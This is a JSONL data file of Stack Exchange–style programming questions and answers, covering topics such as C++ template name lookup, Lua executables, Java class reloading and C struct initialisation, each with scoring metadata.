{"id": "hf_1894f1fa7f8e", "question": "<p>Hoping that someone has some info on how to parse a xfa file. I can parse csv or xml files just fine, but an xfa one has come along and I'm not familar with the format. Looks like tab delimited body with column metadata at the top.</p>\n\n<p>Anyone dealt with these before or can give me a steer on how to parse them?</p>\n\n<p>I use vb.net but the language of any solution isn't too relevant.</p>\n\n<p>Much appreciated.</p>\n", "question_body": "", "answer": "Mmm, looks like nobody has a clue. The problem is that .xfa doesn't look like a \"standard\" extension: after all, anybody can create its own extension names, from .xyz to .something...\nI looked around a bit, found, unsurprisingly (the 'x') an XML format with this extension, not much more.\nIndicating where this kind of file come from, what kind of data it holds, might help. Or not.\nYou describe the file as being a simple TSV (tab separated values) with a header. It is quite trivial to parse, with a tokenizer or some regex, so I am not sure where you are stuck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.240428"}
{"id": "hf_20aa105e8bef", "question": "<p>Everyone (at least everyone who uses a compiled language) has faced compilation errors but how many times do you get to actually crash the compiler? </p>\n\n<p>I've had my fair share of <strong>\"internal compiler errors\"</strong> but most went away just by re-compiling. Do you have a (minimal) piece of code that crashes the compiler?</p>\n", "question_body": "", "answer": "Yes, especially when it's an old or undermaintained compiler (GCC 2.95, Tendra in C++ mode). I don't keep the pieces of code around, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.268958"}
{"id": "hf_73eb78273c79", "question": "<p>In visual C++, I can do things like this:</p>\n\n<pre><code>template &lt;class T&gt;\nclass A{\nprotected:\n    T i;\n};\n\ntemplate &lt;class T&gt;\nclass B : public A&lt;T&gt;{\n    T geti() {return i;}\n};\n</code></pre>\n\n<p>If I try to compile this in g++, I get an error.  I have to do this:</p>\n\n<pre><code>template &lt;class T&gt;\nclass B : public A&lt;T&gt;{\n    T geti() {return A&lt;T&gt;::i;}\n};\n</code></pre>\n\n<p>Am I not supposed to do the former in standard C++?  Or is something misconfigured with gcc that's giving me errors?</p>\n", "question_body": "", "answer": "This used to be allowed, but changed in\ngcc 3.4\n.\nIn a template definition, unqualified names will no longer find members of a dependent base (as specified by [temp.dep]/3 in the C++ standard). For example,\n```\n```\ntemplate <typename T> struct B {\n      int m;\n      int n;\n      int f ();\n      int g ();\n    };\n    int n;\n    int g ();\n    template <typename T> struct C : B<T> {\n      void h ()\n      {\n        m = 0; // error\n        f ();  // error\n        n = 0; // ::n is modified\n        g ();  // ::g is called\n      }\n    };\n```\n```\nYou must make the names dependent, e.g. by prefixing them with this->. Here is the corrected definition of C::h,\n```\n```\ntemplate <typename T> void C<T>::h ()\n    {\n      this->m = 0;\n      this->f ();\n      this->n = 0\n      this->g ();\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.342326"}
{"id": "hf_2837a64fc2ac", "question": "<p>I got a text file  with a couple of lines and I am looking for a string in this file. I need to pass following command line parameters to the program:<br>\n- file path<br>\n- the string I am looking for<br>\n- maximum number of processes the program is allowed to \"fork\" in order to complete this task.  </p>\n\n<p>How to such a program should be constructed?</p>\n", "question_body": "", "answer": "A couple of thoughts.\nYou will have to open the file separately from each process, otherwise they will share a single file descriptor and thus have a shared position in the file (or not, see the comments, as this may be system specific...).\nYou may not see the speed increase you are hoping for due to disk access and/or cache miss patterns.\nYou might be able to beat both issues by memory mapping the file (well you still risk an increased cache miss rate)...\nHow badly do you need this? It runs a real risk of being premature optimization. I would recommend against touching the problem without a compelling need. Really.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.378964"}
{"id": "hf_2c0d3deebf40", "question": "<p>Is there an easy way to create standalone .exe files from Lua scripts? Basically this would involve linking the Lua interpreter and the scripts.</p>\n\n<p>I believe it is possible (PLT Scheme allows the creation of standalone executables in the same way), but how, exactly?</p>\n", "question_body": "", "answer": "Since you say '.exe' I'll assume you're looking for a Windows solution. One idea is to just append scripts to a prebuilt interpreter executable. It may or may not qualify as 'easy' in your book.\nThe interpreter needs to be able to read itself, parse its header to determine where the regular .exe data ends (ie. where the script begins) and then hand off the remainder of the file to Lua.\nOther solutions don't require the interpreter to work as hard but do require more involved linking, whereas with this method, exeifying a script can be as simple as\n```\n```\ncopy interpreter.exe+script.lua script.exe\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.416244"}
{"id": "hf_6a1db9bbb5c4", "question": "<p>In our legacy system, we wrote our own VM to execute our internal DSL at run time. The in-house VM was designed to run our internal DSL only. We are in the process of rewriting our legacy application. One of the idea we are considering is, to transform our internal DSL to external DSL (C# or Java) and take advantage of their VM. </p>\n\n<p>There are no clear guide lines when to write our own VM for our intenral DSL vs. transforming to external DSL and running it that VM. </p>\n", "question_body": "", "answer": "The internal DSL/VM vs. external DSL/VM decision is the same as all build vs. buy vs. download decisions.  The guidelines are clear and the same for all software.\nWhy support your own VM, when someone else will support Java or Python for you?\nHere's some clear guidelines.  Note that these are the same guidelines for all software.\nIs it cheaper for you to continue to maintain your own software.  In this case,  DSL and VM?\nIs your own DSL and VM better than Java or Python?  By \"better\", you must fill in any combination of quality factors: faster, smaller, more reliable, better features, less resource use, more auditable, more secure, etc.\nDon't be confused by DSL and VM.  It's nothing special; it's just more software.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.515660"}
{"id": "hf_502cc0637f00", "question": "<p>I've got a php page which handles requets for file downloads. I need to be able to detect when a file has been downloaded successfully. How can this be done? Perhaps there's some means of detecting this client-side then sending a confirmation down to the server.</p>\n\n<p>Thanks.</p>\n\n<p>Edit:\nBy handle, I mean that the page is doing something like this:</p>\n\n<pre><code>$file = '/var/www/html/file-to-download.xyz';\n  header('Content-Type: application/octet-stream');\n  header('Content-Length: ' . filesize($file));\n  header('Content-Disposition: attachment; filename=' . basename($file));\n  readfile($file);\n</code></pre>\n", "question_body": "", "answer": "Handle the download in a seperate php script (better do a little more than just\n```\nreadfile($file);\n```\n, you can also provide the ability to resume downloads like in this\nquestion\n).\nThen in this script, when you\nread\nthe last block and send it, you know that all the file was sent. This is not the same as knowing that all was received, but it should be enough for most scenarios.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.539345"}
{"id": "hf_e334ae561fed", "question": "<p>i have robot and want to control it via internet using radio wave .. but still i dont know the best language to do that . with the need to build scure site to insure not any body can use it . i expect for site asp with c# but what is the language i'll need it to control from sender device to the recipt robot . also need to live video transfer to the site from robot camera............\nsoory for bothering .....i know it may wrong but i'm beginner </p>\n\n<p>and thanks for all who read or try to help me</p>\n", "question_body": "", "answer": "I think it might be best to narrow down your choice of technologies before choosing a programming language. Robotics control can be a very complex topic, and there are many approaches to solving the same problem.\nHaving said that, with the components you've listed:\nSecure internet interface\nRF communication to an autonomous robot\nEmbedded robot control software\nVideo processing, compression and decompression\nDisplay of video to internet visitors\nI would guess that your complete solution would involve at least two or three different programming languages, depending on application and environment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.577551"}
{"id": "hf_397ec6d7b2d7", "question": "<p>I have an application installed on my computer. How do I find out if it was compiled in DEBUG mode or not?</p>\n\n<p>I've tried to use <a href=\"http://en.wikipedia.org/wiki/.NET_Reflector\" rel=\"noreferrer\">.NET Reflector</a>, but it does not show anything specific. Here is what I see:</p>\n\n<pre><code>// Assembly APPLICATION_NAME, Version 8.0.0.15072\nLocation: C:\\APPLICATION_FOLDER\\APPLICATION_NAME.exe\nName: APPLICATION_NAME, Version=8.0.0.15072, Culture=neutral, PublicKeyToken=null\nType: Windows Application\n</code></pre>\n", "question_body": "", "answer": "I\nblogged\nthis a long time ago, and I don't know if it still valid or not, but the code is something like...\n```\n```\nprivate void testfile(string file)\n{\n    if(isAssemblyDebugBuild(file))\n    {\n        MessageBox.Show(String.Format(\"{0} seems to be a debug build\",file));\n    }\n    else\n    {\n        MessageBox.Show(String.Format(\"{0} seems to be a release build\",file));\n    }\n}    \n\nprivate bool isAssemblyDebugBuild(string filename)\n{\n    return isAssemblyDebugBuild(System.Reflection.Assembly.LoadFile(filename));    \n}    \n\nprivate bool isAssemblyDebugBuild(System.Reflection.Assembly assemb)\n{\n    bool retVal = false;\n    foreach(object att in assemb.GetCustomAttributes(false))\n    {\n        if(att.GetType() == System.Type.GetType(\"System.Diagnostics.DebuggableAttribute\"))\n        {\n            retVal = ((System.Diagnostics.DebuggableAttribute)att).IsJITTrackingEnabled;\n        }\n    }\n    return retVal;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.602835"}
{"id": "hf_ef30e7a437b9", "question": "<p>IOKit and the DiskArbitration framework can tell me a lot of things about mounted volumes on a mac, but they don't seem to be able to differentiate between HFS+ and HFS Standard volumes. </p>\n\n<p>The IOKit/DA keys <code>Content</code>, <code>DAVolumeKind</code> and <code>DAMediaContent</code> are always Apple_HFS and hfs for both HFS Standard and HFS+ volumes.</p>\n\n<p>diskutil and DiskUtility.app <em>can</em> tell the difference, but I they don't seem to have been open sourced by Apple. </p>\n\n<p>p.s. statfs (2) does not differentiate</p>\n", "question_body": "", "answer": "There are two ways to do this:\nUse\n```\ngetattrlist()\n```\nto retrieve the\n```\nATTR_VOL_SIGNATURE\n```\nattribute for the mount path of the volume.\nUse the Carbon call FSGetVolumeInfo() and look in the\n```\nsignature\n```\nfield of the returned struct.\nThe signature of a volume is a 16 bit value, usually interpreted as two ASCII characters.  The signature for HFS is 'BD', HFS+ is 'H+', and case sensitive HFS+ is 'HX'.\nThe man page for\n```\ngetattrlist\n```\nsays the field is a u_int32, but the equivalent field in the FSVolumeInfo struct is only 16 bits, so I'm not sure which 16 bits of the 32 are filled in with the signature when using\n```\ngetattrlist\n```\n, you'll probably have to just experiment a bit if you want to go the non-Carbon route.\ngetattrlist man page\nHFS Plus Volume Format reference\nFSGetVolumeInfo", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.641965"}
{"id": "hf_f9f8278e944c", "question": "<p>I have read several places that the difference between <code>c_str()</code> and <code>data()</code> (in STL and other implementations) is that <code>c_str()</code> is always null terminated while <code>data()</code> is not.\nAs far as I have seen in actual implementations, they either do the same or <code>data()</code> calls <code>c_str()</code>.</p>\n\n<p>What am I missing here?\nWhich one is more correct to use in which scenarios?</p>\n", "question_body": "", "answer": "The documentation is correct. Use\n```\nc_str()\n```\nif you want a null terminated string.\nIf the implementers happend to implement\n```\ndata()\n```\nin terms of\n```\nc_str()\n```\nyou don't have to worry, still use\n```\ndata()\n```\nif you don't need the string to be null terminated, in some implementation it may turn out to perform better than c_str().\nstrings don't necessarily have to be composed of character data, they could be composed with elements of any type. In those cases\n```\ndata()\n```\nis more meaningful.\n```\nc_str()\n```\nin my opinion is only really useful when the elements of your string are character based.\nExtra\n: In C++11 onwards, both functions are required to be the same. i.e.\n```\ndata\n```\nis now required to be null-terminated.  According to\ncppreference\n: \"The returned array is null-terminated, that is, data() and c_str() perform the same function.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.666842"}
{"id": "hf_04f0b38e86e8", "question": "<p>Simply put, is there a way to create a 2D javascript array using similar syntax to this?</p>\n\n<pre><code>var newArray = [\n    [0, 1, 2],\n    [3, 4, 5],\n    [6, 7, 8]\n]\n</code></pre>\n", "question_body": "", "answer": "Yes. This works fine:\n```\n```\n<script>\nvar newArray = [\n    [0, 1, 2],\n    [3, 4, 5],\n    [6, 7, 8]\n]\nalert(newArray[0][2]);\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.692418"}
{"id": "hf_d01ed51d4660", "question": "<p>Is there a way to suppress warnings in Xcode?</p>\n\n<p>For example I am calling an undocumented method and since the method is not in the header I get a warning on compile. I know I can add it to my header to stop the warning, but I am wondering if there is a way other than adding it to the header (so I can keep the headers clean and standard) to suppress the warning? A pragma or something?</p>\n", "question_body": "", "answer": "To disable warnings on a per-file basis, using Xcode 3 and llvm-gcc-4.2 you can use:\n```\n```\n#pragma GCC diagnostic ignored \"-Wwarning-flag\"\n```\n```\nWhere warning name is some gcc warning flag.\nThis overrides any warning flags on the command line.  It doesn't work with all warnings though.  Add -fdiagnostics-show-option to your CFLAGS and you can see which flag you can use to disable that warning.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.759284"}
{"id": "hf_0f15387c37e0", "question": "<p>I was asked to build a java system that will have the ability to load new code (expansions) while running. \nHow do I re-load a jar file while my code is running? or how do I load a new jar?</p>\n\n<p>Obviously, since constant up-time is important, I'd like to add the ability to re-load existing classes while at it (if it does not complicate things too much).</p>\n\n<p>What are the things I should look out for?\n(think of it as two different questions - one regarding reloading classes at runtime, the other regarding adding new classes).</p>\n", "question_body": "", "answer": "I googled a bit, and found this code\nhere\n:\n```\n```\nFile file = getJarFileToLoadFrom();   \nString lcStr = getNameOfClassToLoad();   \nURL jarfile = new URL(\"jar\", \"\",\"file:\" + file.getAbsolutePath()+\"!/\");    \nURLClassLoader cl = URLClassLoader.newInstance(new URL[] {jarfile });   \nClass loadedClass = cl.loadClass(lcStr);\n```\n```\nCan anyone share opinions/comments/answers regarding this approach?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.809984"}
{"id": "hf_438f12954a3e", "question": "<p>I am a heavy command line user and use the <code>find</code> command extensively in my build system scripts. However on Mac OS X when I am not concentrating I often get output like this:</p>\n\n<pre><code>$ find -name \\*.plist\nfind: illegal option -- n\nfind: illegal option -- a\nfind: illegal option -- m\nfind: illegal option -- e\nfind: *.plist: No such file or directory\n</code></pre>\n\n<p>Basically, I forgot to add the little dot:</p>\n\n<pre><code>$ find . -name \\*.plist\n</code></pre>\n\n<p>Because BSD <code>find</code> requires the path and GNU <code>find</code> doesn't (it assumes the current directory if you don't specify one). I use Linux, Mac OS X and Cygwin often all at the same time, so it's of great benefit to me to have all my tools behave the same. I tried writing a bash <code>find</code> function that added \"./\" if I forgot, but I failed. Thanks for your help. :)</p>\n", "question_body": "", "answer": "```\n```\nfind ./ -name \"*.plist\"\n```\n```\nedit\n: hmm, i may have misunderstood the question! if you were crazy, how about emulating it via a shell script? i routinely keep random utility scripts in ~/.bin, and that's the first thing in my PATH. if you had a similar setup perhaps you could do something like: (untested!)\n```\n```\n#!/bin/sh\n# remapping find!\nCMD=`echo $1 | cut -c 1`\nif [ $CMD = '-' ]\nthen\n# pwd search\n  /usr/bin/find ./ $*\nelse\n# regular find\n  /usr/bin/find $*\nfi\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.833911"}
{"id": "hf_fdf5d6deadf8", "question": "<p>If I have a method such as:</p>\n\n<pre><code>private function testMethod(param:string):void\n{\n  // Get the object that called this function\n}\n</code></pre>\n\n<p>Inside the testMethod, can I work out what object called us? e.g.</p>\n\n<pre><code>class A\n{\n  doSomething()\n  {\n    var b:B = new B();\n    b.fooBar();\n  }\n}\n\nclass B\n{\n  fooBar()\n  {\n    // Can I tell that the calling object is type of class A?\n  }\n}\n</code></pre>\n", "question_body": "", "answer": "Sorry the answer is no (see edit below).  Functions received a special property called\n```\narguments\n```\nand in AS2 it used to have the property\n```\ncaller\n```\nthat would do roughly what you want. Although the arguments object is still available in AS3 the caller property was removed from AS3 (and therefore Flex 3) so there is no direct way you can do what you want. It is also recommeded that you use the [...rest parameter](\nhttp://livedocs.adobe.com/flex/3/langref/statements.html#..._(rest)_parameter)\nlanguage feature instead of\narguments\n.\nHere is a\nreference on the matter\n(search for callee to find the relevant details).\nEdit:\nFurther investigation has shown that it is possible to get a stack trace for the current executing function so if you are lucky you can do something with that. See\nthis blog entry\nand\nthis forum post\nfor more details.\nThe basic idea from the blog post is you throw an Error and then catch it immediately and then parse the stack trace. Ugly, but it may work for you.\ncode from the blog post:\n```\n```\nvar stackTrace:String;\n\ntry { throw new Error(); }\ncatch (e:Error) { stackTrace = e.getStackTrace(); }\n\nvar lines:Array = stackTrace.split(\"\\n\");\nvar isDebug:Boolean = (lines[1] as String).indexOf('[') != -1;\n\nvar path:String;\nvar line:int = -1;\n\nif(isDebug)\n{\n    var regex:RegExp = /at\\x20(.+?)\\[(.+?)\\]/i;\n    var matches:Array = regex.exec(lines[2]);\n\n    path = matches[1];\n\n    //file:line = matches[2]\n    //windows == 2 because of drive:\\\n    line = matches[2].split(':')[2];\n}\nelse\n{\n    path = (lines[2] as String).substring(4);\n}\n\ntrace(path + (line != -1 ? '[' + line.toString() + ']' : ''));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.858024"}
{"id": "hf_165ce1af7052", "question": "<p>What is the best way to determine whether there is an available Internet connection for a WinForms app. (Programatically of course) I want to disable/hide certain functions if the user is not connected to the Internet.</p>\n", "question_body": "", "answer": "I'm not a c# developer but in C++ you can use the Win32 API (specifically from Wininet.dll) like this:\n```\n```\nbool IsInternetConnected( void )\n{\n    DWORD dwConnectionFlags = 0;\n\n    if( !InternetGetConnectedState( &dwConnectionFlags, 0 ) )\n        return false;\n\n    if( InternetAttemptConnect( 0 ) != ERROR_SUCCESS )\n        return false;\n\n    return true;\n}\n```\n```\nI assume this is trivially turned into c#", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.886278"}
{"id": "hf_fbc7004288fa", "question": "<p>Has anyone got to some good code to zoom into an image using javascript?</p>\n\n<p>I know I could just resize it etc but was being lazy and looking for something clever to zoom to different levels, move around when zoomed etc</p>\n", "question_body": "", "answer": "This really depends on what quality you are after. If you need a hires hiquality image with detailed zoom levels and proper interpolation you will need to write a backend service to serve up zoomed portions of your images. If you have no care for quality or speed, you could download the entire image and fit it to display inside a div absolutely positioned, offset for the area you want to view and sized as determined by your zoom level.\nI would say you are probably after the first option. There are some tools already made\nfor this\n, I persoanlly havnt used any of the tools; I am sure othes will post links to others you can try; I have written my own service and client. I cant go into the exact details as its proprietary, but I can give you an overview of what I do.\nI have an asp.net generic handler that takes a query string denoting which image (by an id) and the coordinates to zoom on and the target image size. I have the service load the image and crop and resize it (its more complicated than that as I have many optimizations and preparsing when the file is originally uploaded, such as multiple cross sections of the file for faster serving when zooming, but what I describing here is the basics).\nThat service simply returns type image/jpeg and sends the image.\nOn the client side I have written a marquee box control that allows the user to marquee an area on the image they want to zoom in on. they marquee the area and click zoom. This then calculates the offsets into the image of the selected coordinates based on the original image size and the viewable image size. I send hese coords to the handler previously mentioned.I load the the url with query string of the srvice into an Image object, and handle onload. If all went well i then swap that to the viewed image and updates all my client side variables for determining where on the image I am zoomed into and then it can be zoomed again or zoomed out or panned further from there.\nNow i understand your lazy requirement, but i need to say that writing this is actually quite easy to do to get the basics going. the hardest part you will find is doing a select box. But then even that can be as simple as tracking two click. Top left of the zoom select marque and bottom right. Or not having a select box at all and have a zoom in and out only at predetermined intervals. I on my projects required a zoom box as its a fairly complex image analysis solution.\nI hope this at least helpful and leads you to something useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.939766"}
{"id": "hf_f55cf4c9b800", "question": "<p>I downloaded Squeak, the Image file, and the Sources file, but I can't figure out how to write Smalltalk code. Is there something obvious I'm missing? Is Squeak even the right IDE for serious Smalltalk development?</p>\n", "question_body": "", "answer": "I don't think Squeak is really oriented towards \"serious Smalltalk development\". It's intended as a first programming environment for children. Which isn't to say that you can't do  useful stuff with it, it's just not aimed as much towards large-scale development.\nCheck out the\nWiki\nfor getting started tips. It's been a while since I last used Squeak, but I don't remember it being particularly hard to get started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:30.977705"}
{"id": "hf_1e993bb0cb87", "question": "<p>What is the most efficient way to go through and update every single node in a drupal site, to, for instance mechanically add tags? Drupal 6 has a shiny new batch API, but what to do in Drupal 5?</p>\n\n<p>I started writing a script that keeps a pointer and then goes around all nodes on a cron, loads them and then saves them, but I wonder what else could be done.</p>\n", "question_body": "", "answer": "hmm i'm not familiar with drupal 5's database structure, but if it's similar enough to drupal 6, you could just modify this all pretty easily by just working off the\n```\nterm_node\n```\ntable. it's a mapper of node id's to term id's:\n```\n```\nterm_node\n- nid\n- vid\n- tid\n```\n```\nnid is the node id of course, vid is the revision id, if you use revisions, and tid is the term id. terms are all stored in\n```\nterm_data\n```\n```\n```\nterm_data\n- tid\n- name\n```\n```\nare the more interesting columns. so if you already have existing terms, you can create a quick map of existing tid's, then add to whatever nodes you want in term_node. anyhow, being careless in this regard could possibly cause weird data issues, so i wouldn't suggest this approach unless you feel pretty comfortable with the raw database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.031288"}
{"id": "hf_53230ff9ab35", "question": "<p>Is it possible to initialize an array of pointers to structs?\nSomething like:</p>\n\n<pre><code>struct country_t *countries[] = {\n        {\"United States of America\", \"America\"},\n        {\"England\", \"Europe\"},\n        {\"Ethiopia\", \"Africa\"}  \n    }\n</code></pre>\n\n<p>I want to do that in order to get the entities in not-contiguous memory, and the pointers to them in contiguous memory... But I can't use dynamic memory, so I wonder if it is possible without it.</p>\n", "question_body": "", "answer": "Well, your code uses structures rather than pointers to structures.  There are ways to do what you seek, including:\n```\n```\nstatic struct country_t us = { \"United States of America\", \"America\" };\nstatic struct country_t uk = { \"England\",                  \"Europe\"  };\nstatic struct country_t et = { \"Ethiopia\",                 \"Africa\"  };\n\nstruct country_t *countries[] = { &us, &uk, &et, };\n```\n```\nThere are other ways to do it with designated initializers and compound literals in C99.  Section 6.5.2.5 'Compound Literals' shows the way:\n```\n```\nstruct country_t *countries[] =\n{\n    &(struct country_t) { \"United States of America\", \"America\" },\n    &(struct country_t) { \"England\",                  \"Europe\"  },\n    &(struct country_t) { \"Ethiopia\",                 \"Africa\"  },\n};\n```\n```\nThe standard illustrates pointers to structures with a function call.  Be aware that not all C compilers accept C99 syntax, and these compound literals were not present in C89 (aka C90).\nEdit:\nUpgraded to use 2-letter ISO 3166 country codes.  Also made the named structures into static variables - those symbols were not visible outside the file before (because they did not exist), and now they aren't visible outside the file after, either.  I debated whether to make anything const and decided not to - but using const when you can is generally a good idea.  Also, in the example, there are 3 countries in 3 continents.  Were you to have multiple countries in a single continent (the norm), you might want to be able to share the continent strings.  However, whether you can do that safely (or at all) depends on the details of the\n```\nstruct country_t\n```\n(which were not given), and on whether the program is allowed to update the table (which comes back to the const-ness question).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.056437"}
{"id": "hf_a4b38785aabc", "question": "<p>What is the % code-coverage on your project?  I'm curious as to reasons why.</p>\n\n<p>Is the dev team happy with it? If not, what stands in the way from increasing it? </p>\n\n<p>Stuart Halloway is one whose projects aim for 100% (or else the build breaks!). Is anyone at that level?</p>\n\n<p>We are at a painful 25% but aspire to 80-90% for new code.  We have legacy code that we have decided to leave alone as it evaporates (we are actively re-writing).</p>\n", "question_body": "", "answer": "We run at 85% code coverage, but falling below it does not break the build.  I think using code coverage as an important metric is a dangerous practice.  Just because something is covered in a test does not mean the coverage is any good.  We try to use it as guidance for the areas we are weakly covered, not as a hard fact.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.081764"}
{"id": "hf_fa6c364836fd", "question": "<p>I have 2 classes for accessing the database:</p>\n\n<p>MovieDAO - access database using \"select\" statements only; the purpose is for retrieving data for displaying in the web browser.</p>\n\n<p>and </p>\n\n<p>MovieExtendedDAO (extends MovieDAO) - which is more complete and allows for creating/updating/deleting a movie in addition to the inherited functionality. This class is intended to be used only in the site's administrative area.</p>\n\n<p>I have been told it is overkill to separate it like this.</p>\n\n<p>Is this is a normal way to do things or part of a design pattern? Or is there no real benefit to doing this? My main intention was to simplify things for the public side: a kind of optimization for how much stuff needs to get loaded up and also what kind of things can happen on the public (non-admin) side. Thank you for your comments!</p>\n", "question_body": "", "answer": "it's not a bad method, it's basically a\nrow data gateway\n. in that sense i would think of your movieDAO as more of a finder, (same terminology fowler uses), and your movieextendeddao as a gateway (ie MovieFinder, and MovieGateway).\nonce you start getting more complex domain logic (ie calculating various things about movies) then you can look at some other data access patterns, but your approach seems reasonable for what you're doing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.119400"}
{"id": "hf_7b7963c440e4", "question": "<p>Basically, I'm trying to create an object of unique objects, a set. I had the brilliant idea of just using a JavaScript object with objects for the property names. Such as,</p>\n\n<pre><code>set[obj] = true;\n</code></pre>\n\n<p>This works, up to a point. It works great with string and numbers, but with other objects, they all seem to \"hash\" to the same value and access the same property. Is there some kind of way I can generate a unique hash value for an object? How do strings and numbers do it, can I override the same behavior?</p>\n", "question_body": "", "answer": "JavaScript objects can only use strings as keys (anything else is converted to a string).\nYou could, alternatively, maintain an array which indexes the objects in question, and use its index string as a reference to the object. Something like this:\n```\n```\nvar ObjectReference = [];\nObjectReference.push(obj);\n\nset['ObjectReference.' + ObjectReference.indexOf(obj)] = true;\n```\n```\nObviously it's a little verbose, but you could write a couple of methods that handle it and get and set all willy nilly.\nEdit:\nYour guess is fact -- this is defined behaviour in JavaScript -- specifically a toString conversion occurs meaning that you can can define your own toString function on the object that will be used as the property name. - olliej\nThis brings up another interesting point; you can define a toString method on the objects you want to hash, and that can form their hash identifier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:31.144236"}
